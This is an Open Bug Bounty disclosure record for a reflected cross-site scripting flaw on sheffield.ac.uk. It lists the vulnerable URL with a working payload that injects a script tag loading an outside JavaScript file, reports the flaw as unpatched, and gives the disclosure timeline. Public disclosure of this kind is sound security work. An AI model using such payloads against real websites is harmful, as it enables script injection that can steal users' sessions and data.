sheffield.ac.uk XSS vulnerability

2017-03-12T22:17:00
ID OBB:218671
Type openbugbounty
Reporter LewisWildgoose
Modified 2017-06-04T23:14:00

Description

Vulnerable URL:
https://www.sheffield.ac.uk/visit/app/offer?type=1zqjgj%27%22%28%29{}%3Cx%3E:/1zqjgj;9!%3Cscript%20src=https://openbugbounty.org/1.js%3E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 28.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 17221
VIP website status:| Yes
Check sheffield.ac.uk SSL connection:| (Grade: B+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 12 March, 2017 22:17 GMT
Generic security notifications sent to website owner| 12 March, 2017 22:19 GMT
Notification sent to subscribers (without technical details)| 13 March, 2017 02:17 GMT
Vulnerability details disclosed by researcher| 4 June, 2017 23:14 GMT